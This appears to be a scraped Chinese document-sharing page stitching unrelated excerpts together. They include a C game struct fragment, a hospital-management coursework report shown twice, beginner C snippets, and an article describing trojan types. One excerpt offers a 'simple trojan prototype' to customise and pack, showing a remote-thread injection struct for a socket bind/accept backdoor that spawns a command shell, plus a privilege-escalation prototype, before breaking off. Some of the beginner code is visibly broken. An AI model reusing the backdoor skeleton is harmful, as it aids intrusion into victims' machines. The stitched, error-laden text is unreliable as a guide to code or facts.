/* A simple game*/ /*CopyRight: Guanlin*/ #include #include #include #include #include #include struct object_fix { char name[20]; char id[5]; char desc[500]; char action[30]; char im[5]; }; struct object_move { char name[20]; char id[5]; char desc[500]; int loc; int pwr; int strg; char im[5]; }; struct rover { char name[20]; char id[5]; char desc[500]; int pwr; int strg; int location[2]; char im[5]; }; struct map /* this is the map structure*/ { char data[20]; char add_data[20]; int amount; int x; /* this were the successor keeps it's x & y values*/ int y; }; struct location /*this structure is for the successor lister*/ { float height; char obj;

病毒代码大全

制造木马病毒代码大全2008-06-0819:46制造木马病毒代码大全一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可 以.....#include#pragma comment(lib,"ws2_32.lib") #include#include#pragma comment(lib,"Shlwapi.lib") #include#include#include//参数结构;typedef struct _RemotePara{DWORD dwLoadLibrary;DWORD dwFreeLibrary;DWORD dwGetProcAddress;DWORD dwGetModuleHandle;DWORD dwWSAStartup;DWORD dwSocket;DWORD dwhtons;DWORD dwbind;DWORD dwlisten;DWORD dwaccept;DWORD dwsend;DWORD dwrecv;DWORD dwclosesocket;DWORD dwCreateProcessA;DWORD dwPeekNamedPipe;DWORD dwWriteFile;DWORD dwReadFile;DWORD dwCloseHandle; DWORD dwCreatePipe;DWORD dwTerminateProcess; DWORD dwMessageBox;char strMessageBox[12];char winsockDll[16];char cmd[10];char Buff[4096];char telnetmsg[60];}RemotePara;//提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);//根据进程名称得到进程ID DWORD GetPidByName(char*szName);//远程线程执行体DWORD__stdcall ThreadProc(RemotePara*Para)

C语言程序设计(医院信息管理系统)附源代码

专业设计报告 课程名称: C 语言程序设计 课题名称:医院信息管理系统 专业班别: 12本计算机科学与技术二班 姓名: 学号: 指导教师: 设计日期: 2012-5-25

教师评语:

成绩评定: 指导教师签名: 日期: 2012 年月日 课程设计题目医院信息管理程序 作者姓名: 同组成员: 摘要利用结构体存储每个病人的信息和每种药品的信息,并使用链表存储全部病人的信息;能完成对医院内所有病人信息的注册、查询、删除和修改等操作,同时又能对药房内库存的药品进行查询;可以将链表中的病人信息保存在文件中,并且可以对文件中的病人信息进行读取与显示 1.专业设计目的

1、掌握链表的操作,包括链表节点的创建、释放还有链表的遍历 2、掌握对二进制文件的创建、增添等基本操作。 3、熟悉C语言函数的使用方法,学会模块化处理问题以及多个源文件的处理方式 2.设计基本要求( 1、使用结构体来存储病人的信息,结构体中包括病的id号码、姓名、病历以及消费信息,并用链表将所有病人信息整合。 2、用文件来存储链表的信息以便下次再使用该程序时载入病人信息 3、能够实现病人信息的注册、病人信息的查询、病人消费统计、保存链表信息、载入链表信息、查询库存等几项功能。 4、要求用四个源文件、、、 5、系统完成后应实现类似下面所示界面

3、算法分析 1、数据结构 设计链表中的一个节点存储一个病人的信息,使用下面的结构体类型定义:struct patient{ char id[10]; char name[10]; char casehist[200]; int cost[3]; int transfusion;

简单易懂的C语言源代码(供初学者使用)

#include main() {float pi=3.14159265,r; printf("enter radius:\n"); scanf("%f",&r); printf("r=%.2f,c=%.2f,area=%.2f\n",r,2*pi*r,pi*r*r); system("pause"); } #include main() {int m,n,x,y; printf("inputm,n:\n"); scanf("%d%d",&m,&n); if (n%2==1) {printf("error!! n bu shi ji shu!\n",n); return;} /*n在这里不能是奇数*/ x=(4*m-n)/2; y=(n-2*m)/2; if((x>=0)&&(y>=0)) printf("x=%d,y=%d\n",x,y); else printf("shu ru cuo wu!\n");

getch(); } #include #include #include main() {float a,b,C; printf("enter 3number(a,b,C):\n"); scanf("%.2f %.2f %.2f",&a,&b,&C); s=0.5*a*b*sinC; printf("s=%.2f\n",s); system("pause"); } #include main() {int ds,nl,yf; char c; printf("shu ru ds;\n"); scanf("%d",&ds); if (ds<14||ds>1184)

介绍一下木马病毒的种类

介绍一下木马病毒的种类 随着网络在线游戏的普及和升温,我国拥有规模庞大的网游玩家。网络游戏中的金钱、装备等虚拟财富与现实财富之间的界限越来越模糊。与此同时,以盗取网游帐号密码为目的的木马病毒也随之发展泛滥起来。网络游戏木马通常采用记录用户键盘输入、Hook游戏进程API函数等方法获取用户的密码和帐号。窃取到的信息一般通过发送电子邮件或向远程脚本程序提交的方式发送给木马作者。网络游戏木马的种类和数量,在国产木马病毒中都首屈一指。流行的网络游戏无一不受网游木马的威胁。一款新游戏正式发布后,往往在一到两个星期内,就会有相应的木马程序被制作出来。大量的木马生成器和黑客网站的公开销售也是网游木马泛滥的原因之一。2. 网银木马网银木马是针对网上交易系统编写的木马病毒,其目的是盗取用户的卡号、密码,甚至安全证书。此类木马种类数量虽然比不上网游木马,但它的危害更加直接,受害用户的损失更加惨重。网银木马通常针对性较强,木马作者可能首先对某银行的网上交易系统进行仔细分析,然后针对安全薄弱环节编写病毒程序。如2004年的“网银大盗”病毒,在用户进入工行网银登录页面时,会自动把页面换成安全性能较差、但依然能够运转的老版页面,然后记录用户在此页面上填写的卡号和密码;“网银大盗3”利用招行网银专业版的备份安全证书功能,可以盗取安全证书;2005年的“新网银大盗”,采用API Hook等技

术干扰网银登录安全控件的运行。随着我国网上交易的普及,受到外来网银木马威胁的用户也在不断增加。3. 即时通讯软件木马现在,国内即时通讯软件百花齐放。QQ、新浪UC、网易泡泡、盛大圈圈……网上聊天的用户群十分庞大。常见的即时通讯类木马一般有3种:一、发送消息型。通过即时通讯软件自动发送含有恶意网址的消息,目的在于让收到消息的用户点击网址中毒,用户中毒后又会向更多好友发送病毒消息。此类病毒常用技术是搜索聊天窗口,进而控制该窗口自动发送文本内容。发送消息型木马常常充当网游木马的广告,如“武汉男生2005”木马,可以通过MSN、QQ、UC等多种聊天软件发送带毒网址,其主要功能是盗取传奇游戏的帐号和密码。二、盗号型。主要目标在于即时通讯软件的登录帐号和密码。工作原理和网游木马类似。病毒作者盗得他人帐号后,可能偷窥聊天记录等隐私内容,或将帐号卖掉。三、传播自身型。2005年初,“MSN性感鸡”等通过MSN传播的蠕虫泛滥了一阵之后,MSN推出新版本,禁止用户传送可执行文件。2005年上半年,“QQ龟”和“QQ爱虫”这两个国产病毒通过QQ聊天软件发送自身进行传播,感染用户数量极大,在江民公司统计的2005年上半年十大病毒排行榜上分列第一和第四名。从技术角度分析,发送文件类的QQ蠕虫是以前发送消息类QQ 木马的进化,采用的基本技术都是搜寻到聊天窗口后,对聊天窗口进行控制,来达到发送文件或消息的目的。只不过发送文件的操作比发送消息复杂很多。4. 网页点击类木马网页点击类木马会恶意模拟用户点击广告等动作,在短时间内可以产生数以万计的点击量。病毒作

C语言程序设计医院信息管理系统附源代码样本

专业设计报告 课程名称: C 语言程序设计 课题名称: 医院信息管理系统 专业班别: 12本计算机科学与技术二班姓名: 学号: 指导教师: 设计日期: -5-25

教师评语: 成绩评定: 指导教师签名: 日期: 年月日 课程设计题目医院信息管理程序

作者姓名: 同组成员: 摘要利用结构体存储每个病人的信息和每种药品的信息, 并使用链表存储全部病人的信息; 能完成对医院内所有病人信息的注册、查询、删除和修改等操作, 同时又能对药房内库存的药品进行查询; 能够将链表中的病人信息保存在文件中, 而且能够对文件中的病人信息进行读取与显示1.专业设计目的 1、掌握链表的操作, 包括链表节点的创立、释放还有链表的遍历 2、掌握对二进制文件的创立、增添等基本操作。 3、熟悉C语言函数的使用方法, 学会模块化处理问题以及多个源文件的处理方式 2.设计基本要求( 1、使用结构体来存储病人的信息, 结构体中包括病的id号码、姓名、病历以及消费信息, 并用链表将所有病人信息整合。 2、用文件来存储链表的信息以便下次再使用该程序时载入病人信息 3、能够实现病人信息的注册、病人信息的查询、病人消费统计、保存链表信息、载入链表信息、查询库存等几项功能。 4、要求用四个源文件main.c、link.c、find.c、save_load.c 5、系统完成后应实现类似下面所示界面

3、算法分析 1、数据结构 设计链表中的一个节点存储一个病人的信息, 使用下面的结构体类型定义: struct patient{ char id[10]; char name[10]; char casehist[200]; int cost[3]; int transfusion; int surgery; struct patient *next; };

相关文档
最新文档